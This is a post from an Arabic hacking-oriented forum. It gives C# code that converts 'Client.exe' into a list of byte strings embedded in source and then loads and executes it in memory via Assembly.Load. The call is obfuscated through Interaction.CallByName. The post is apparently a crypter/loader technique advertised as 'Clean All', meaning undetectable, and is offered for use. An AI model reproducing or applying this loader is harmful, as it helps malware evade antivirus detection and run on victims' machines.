08.02.2018 Array List To String Array To Byte Array Clean All


  • الـلـهـم انـصـر اخـوانـنـا الـمـسـلـمـيـن فـي بـورمـا وكـن مـعـهـم يـاربـاه يـاربـاه

BasharBachir

اللهم اغفر له وارحمه
طاقم الإدارة
28 أكتوبر 2018
2,620
3,576
1
حياكم الله ياشباب
نزلت موضوعي هون
Integer Array To Byte Array New Methode Clean All
وحولنا من انتجر اراي لبايت اراي
الان قلت ليش مابعمل اراي ليست
C#:
var myInts = new ArrayList();
وبضيف بايتات الكلاينت بايت بايت ك عناصر
من نوع سترينج للاراي ليست مثل التالي
C#:
myInts.Add("77");
myInts.Add("90");
myInts.Add("144");
myInts.Add("3");
طبعا مارح نضيفهم بشكل يدوي لان رح تضيف وقتها بالاف اسطر ههه
لهيك عملت لكم الفانكشن هنا بالشكل التالي
C#:
static string Pb(IEnumerable<byte> bytes)
       {
           var sb = new StringBuilder();
           foreach (var b in bytes)
           {
               sb.Append($"myInts.Add(\"{b}\");" + Environment.NewLine);
           }
           sb.Append("");
           return sb.ToString();
       }
هيه رح تعطيكم كل شي كل ماعليك انك تعرف فوق الاراي ليست وتلصق الناتج
لانه بكون بالكليبورد .كيف يكون بالكليبورد استدعي الفانكشن بالشكل التالي
C#:
Clipboard.SetText(Pb(File.ReadAllBytes("Client.exe")));
رح نحول بعدها الليست اراي الى سترينج اراي عن طريق التالي
C#:
string[] myArray = (string[])myInts.ToArray(typeof(string));
ورح نحول من سترينج اراي لبايت اراي عند عمل لود عن طريق الفانكشن هنا "جديدة هي مش هيك هه"
C#:
private static byte[] Stringtobytearray(IList<string> values)
       {
           var cl = new byte[values.Count];
           for (var i = 0; i < values.Count; i++)
           {
               cl[i] = byte.Parse(values[i]);
           }
           return cl;
       }
وهنا نقطة الادخال
C#:
Interaction.CallByName(Interaction.CallByName(Type.GetType("System.Reflection.Assembly")?.GetMethod("Load", new[] { typeof(byte[]) })
        ?.Invoke(null, new object[] { Stringtobytearray(myArray) })
        ?? throw new InvalidOperationException(), "EntryPoint", CallType.Get),
        "Invoke", CallType.Method, 100000 - 10000000, null);
الفديو بالمرفقات
 

المرفقات

إخلاء مسؤلية

  • المنتدى غير مسؤول عن أي اتفاق تجاري أو تعاوني بين الأعضاء كل شخص يحمل مسئولية نفسه إتجاه مايقوم به protection-tips غير مسؤول عن أي اتفاق تجاري أو تعاوني بين الأعضاء كل شخص يحمل مسئولية نفسه إتجاه مايقوم به من بيع وشراء وإتفاق وأعطاء معلومات موقعه التعليقات المنشورة لا تعبر عن رأي معهد المنتدى ولا نتحمل أي مسؤولية قانونية حيال ذلك (ويتحمل كاتبها مسؤولية النشر).).

الإنتقال السريع

User Menu

تابعنا على الفيسبوك